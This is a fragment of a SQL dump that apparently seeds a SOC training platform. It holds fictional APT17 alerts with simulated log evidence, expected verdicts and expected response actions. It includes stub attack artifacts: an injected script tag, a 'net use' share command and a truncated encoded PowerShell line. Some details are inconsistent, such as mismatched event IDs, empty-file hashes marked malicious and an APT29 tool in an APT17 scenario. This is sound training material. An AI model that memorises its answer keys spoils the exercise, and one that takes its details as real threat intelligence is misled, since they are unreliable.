2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T13:45:32Z\\\",\\\"event_id\\\":\\\"4720\\\",\\\"host_ip\\\":\\\"192.168.1.45\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\Backdoor\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"attacker_ip\\\":\\\"203.0.113.15\\\"}\"},{\"timestamp\":\"2026-02-08T18:57:02.528Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T13:45:32Z\\\",\\\"event_id\\\":\\\"4720\\\",\\\"host_ip\\\":\\\"192.168.1.45\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\Backdoor\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"attacker_ip\\\":\\\"203.0.113.15\\\"}\"},{\"timestamp\":\"2026-02-08T18:56:02.528Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T13:45:32Z\\\",\\\"event_id\\\":\\\"4720\\\",\\\"host_ip\\\":\\\"192.168.1.45\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\Backdoor\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"attacker_ip\\\":\\\"203.0.113.15\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1208, 'Lateral Movement Detected', 'high', 'User Activity Monitoring', 'Using stolen credentials and insider tools, the attackers begin moving laterally, probing for valuable data and additional systems to compromise.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"target_machine\":\"192.168.1.45\",\"action\":\"Successful Logon\",\"logon_type\":\"Network\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"filename\":\"insider_tools.exe\",\"internal_ip\":\"10.0.0.12\"}', '2026-02-07 21:24:22', '2026-02-19 15:56:59', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT group activity.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Legitimate user account, potentially compromised.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"insider_tools.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Security\",\"verdict\":\"malicious\",\"details\":\"File used for lateral movement within network.\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"10.0.0.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-08T19:00:02.529Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"target_machine\\\":\\\"192.168.1.45\\\",\\\"action\\\":\\\"Successful Logon\\\",\\\"logon_type\\\":\\\"Network\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"filename\\\":\\\"insider_tools.exe\\\",\\\"internal_ip\\\":\\\"10.0.0.12\\\"}\"},{\"timestamp\":\"2026-02-08T18:59:02.529Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"target_machine\\\":\\\"192.168.1.45\\\",\\\"action\\\":\\\"Successful Logon\\\",\\\"logon_type\\\":\\\"Network\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"filename\\\":\\\"insider_tools.exe\\\",\\\"internal_ip\\\":\\\"10.0.0.12\\\"}\"},{\"timestamp\":\"2026-02-08T18:58:02.529Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"target_machine\\\":\\\"192.168.1.45\\\",\\\"action\\\":\\\"Successful Logon\\\",\\\"logon_type\\\":\\\"Network\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"filename\\\":\\\"insider_tools.exe\\\",\\\"internal_ip\\\":\\\"10.0.0.12\\\"}\"},{\"timestamp\":\"2026-02-08T18:57:02.529Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"target_machine\\\":\\\"192.168.1.45\\\",\\\"action\\\":\\\"Successful Logon\\\",\\\"logon_type\\\":\\\"Network\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"filename\\\":\\\"insider_tools.exe\\\",\\\"internal_ip\\\":\\\"10.0.0.12\\\"}\"},{\"timestamp\":\"2026-02-08T18:56:02.529Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"target_machine\\\":\\\"192.168.1.45\\\",\\\"action\\\":\\\"Successful Logon\\\",\\\"logon_type\\\":\\\"Network\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"filename\\\":\\\"insider_tools.exe\\\",\\\"internal_ip\\\":\\\"10.0.0.12\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1209, 'Data Exfiltration Attempt Blocked', 'high', 'Data Loss Prevention (DLP) System', 'With a foothold established, APT17 attempts to exfiltrate sensitive data to their command and control servers, but vigilant monitoring raises an alert, providing an opportunity to thwart the data theft.', 'Exfiltration', 'T1041', 1, 'resolved', NULL, '{\"timestamp\":\"2023-11-05T14:23:07Z\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"user\":\"jdoe\",\"file_name\":\"confidential_project_data.zip\",\"file_hash\":\"3f8a1b2c4d5e6f7890a1b2c3d4e5f678\",\"action\":\"blocked\",\"alert_id\":\"dlp-20231105-0001\"}', '2026-02-07 21:24:22', '2026-02-20 02:08:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal network IP\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Associated with APT17 C&C servers\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"confidential_project_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Contains sensitive project data\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3f8a1b2c4d5e6f7890a1b2c3d4e5f678\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Hash of sensitive file attempted for exfiltration\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Valid user account involved in activity\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-08T19:00:02.530Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-11-05T14:23:07Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"confidential_project_data.zip\\\",\\\"file_hash\\\":\\\"3f8a1b2c4d5e6f7890a1b2c3d4e5f678\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"dlp-20231105-0001\\\"}\"},{\"timestamp\":\"2026-02-08T18:59:02.530Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-11-05T14:23:07Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"confidential_project_data.zip\\\",\\\"file_hash\\\":\\\"3f8a1b2c4d5e6f7890a1b2c3d4e5f678\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"dlp-20231105-0001\\\"}\"},{\"timestamp\":\"2026-02-08T18:58:02.530Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-11-05T14:23:07Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"confidential_project_data.zip\\\",\\\"file_hash\\\":\\\"3f8a1b2c4d5e6f7890a1b2c3d4e5f678\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"dlp-20231105-0001\\\"}\"},{\"timestamp\":\"2026-02-08T18:57:02.530Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-11-05T14:23:07Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"confidential_project_data.zip\\\",\\\"file_hash\\\":\\\"3f8a1b2c4d5e6f7890a1b2c3d4e5f678\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"dlp-20231105-0001\\\"}\"},{\"timestamp\":\"2026-02-08T18:56:02.530Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-11-05T14:23:07Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"confidential_project_data.zip\\\",\\\"file_hash\\\":\\\"3f8a1b2c4d5e6f7890a1b2c3d4e5f678\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"dlp-20231105-0001\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1210, 'Suspicious Network Traffic Detected', 'high', 'Network Monitoring System', 'APT17 initiated a network scan for web vulnerabilities targeting policy think tanks. The scan resulted in abnormal traffic patterns, triggering this alert.', 'Initial Access', 'T1190: Exploit Public-Facing Application', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:32:21Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.5.23\",\"destination_port\":80,\"protocol\":\"HTTP\",\"request_method\":\"GET\",\"url\":\"/vulnerabilities/scan\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\",\"status_code\":200,\"response_size\":512,\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"filename\":\"vuln_scan_script.py\"}', '2026-02-07 21:25:01', '2026-02-19 15:55:48', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT17 operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal web server hosting policy think tank resources.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Associated with APT17 scanning activities.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"vuln_scan_script.py\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Script used for probing vulnerabilities in web applications.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1211, 'JavaScript Injection Detected', 'high', 'Web Application Firewall', 'A sophisticated JavaScript payload was injected into the targeted web pages through a Web Application Firewall. This attack aims to execute malicious JavaScript on visitor browsers, marking the execution phase of a complex attack.', 'Execution', 'T1059.007', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:32:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"http_method\":\"POST\",\"uri\":\"/index.html\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36\",\"injected_script\":\"<script>evilFunction();</script>\",\"hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"filename\":\"malicious_payload.js\",\"username\":\"compromised_user\"}', '2026-02-07 21:25:01', '2026-02-19 15:54:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with JavaScript injection attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal web server targeted by the attack.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malicious JavaScript payload.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious_payload.js\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename commonly used in injection attacks.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1212, 'Malicious Code Persistence Established', 'high', 'Endpoint Detection and Response', 'APT17 has established persistence on the compromised system by embedding scripts that reload upon system restart. This ensures their uninterrupted access.', 'Persistence', 'T1547 - Boot or Logon Autostart Execution', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T02:14:37Z\",\"host\":\"DESKTOP-9F5G8H2\",\"user\":\"jdoe\",\"internal_ip\":\"192.168.1.10\",\"external_ip\":\"203.0.113.45\",\"malicious_file\":\"C:\\\\Windows\\\\System32\\\\scriptloader.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"event_id\":7045,\"event_type\":\"Service Installed\",\"service_name\":\"ScriptLoader\",\"service_filepath\":\"C:\\\\Windows\\\\System32\\\\scriptloader.exe\",\"related_process\":\"svchost.exe\"}', '2026-02-07 21:25:01', '2026-02-19 15:53:53', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Threat Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT17 activity.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash found in multiple malware databases associated with persistence techniques.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"User account involved in the incident.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1213, 'Lateral Movement Detected Across Network', 'high', 'Internal Network Logs', 'An advanced attacker has been detected moving laterally across the network using legitimate credentials. The attacker is targeting sensitive data within the think tank\'s infrastructure.', 'Lateral Movement', 'T1078', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:32:16Z\",\"event_id\":\"4769\",\"source_ip\":\"192.168.1.102\",\"destination_ip\":\"10.0.0.45\",\"user\":\"compromised_user\",\"action\":\"LogonSuccess\",\"auth_type\":\"Kerberos\",\"process_name\":\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"command_line\":\"cmd.exe /c net use \\\\\\\\10.0.0.45\\\\sensitive_share\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"malware_name\":\"APT29_Tool\",\"external_ip\":\"203.0.113.45\"}', '2026-02-07 21:25:01', '2026-02-19 15:56:13', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.102\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal logs\",\"verdict\":\"internal\",\"details\":\"Internal network IP.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal logs\",\"verdict\":\"internal\",\"details\":\"Internal network IP.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"osint\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with APT29.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal logs\",\"verdict\":\"suspicious\",\"details\":\"User credentials likely compromised.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with APT29 tool.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1214, 'Data Exfiltration Attempted', 'critical', 'Data Loss Prevention System', 'During the final stage of the attack, APT17 attempted to exfiltrate sensitive data to an external server. This action was detected and blocked by the Data Loss Prevention System. The attack leveraged a compromised internal host to send data to a known malicious IP address.', 'Exfiltration', 'T1041: Exfiltration Over C2 Channel', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:35:22Z\",\"event_id\":\"DLP-Exfil-20231015-001\",\"source_ip\":\"10.0.5.23\",\"destination_ip\":\"192.0.2.45\",\"protocol\":\"HTTPS\",\"filename\":\"confidential_data.zip\",\"file_hash\":\"3e23e8160039594a33894f6564e1b134\",\"username\":\"jdoe\",\"process_name\":\"data_exfil.exe\",\"malicious_ip\":true,\"tags\":[\"APT17\",\"Exfiltration\",\"Critical\"]}', '2026-02-07 21:25:01', '2026-02-14 17:02:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with APT17 C2 activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3e23e8160039594a33894f6564e1b134\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash linked to exfiltration malware used by APT17.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.5.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Management\",\"verdict\":\"internal\",\"details\":\"Internal host used during exfiltration attempt.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"DLP Logs\",\"verdict\":\"suspicious\",\"details\":\"Sensitive data marked for unauthorized exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-08T19:00:02.536Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:22Z\\\",\\\"event_id\\\":\\\"DLP-Exfil-20231015-001\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"192.0.2.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"file_hash\\\":\\\"3e23e8160039594a33894f6564e1b134\\\",\\\"username\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"data_exfil.exe\\\",\\\"malicious_ip\\\":true,\\\"tags\\\":[\\\"APT17\\\",\\\"Exfiltration\\\",\\\"Critical\\\"]}\"},{\"timestamp\":\"2026-02-08T18:59:02.536Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 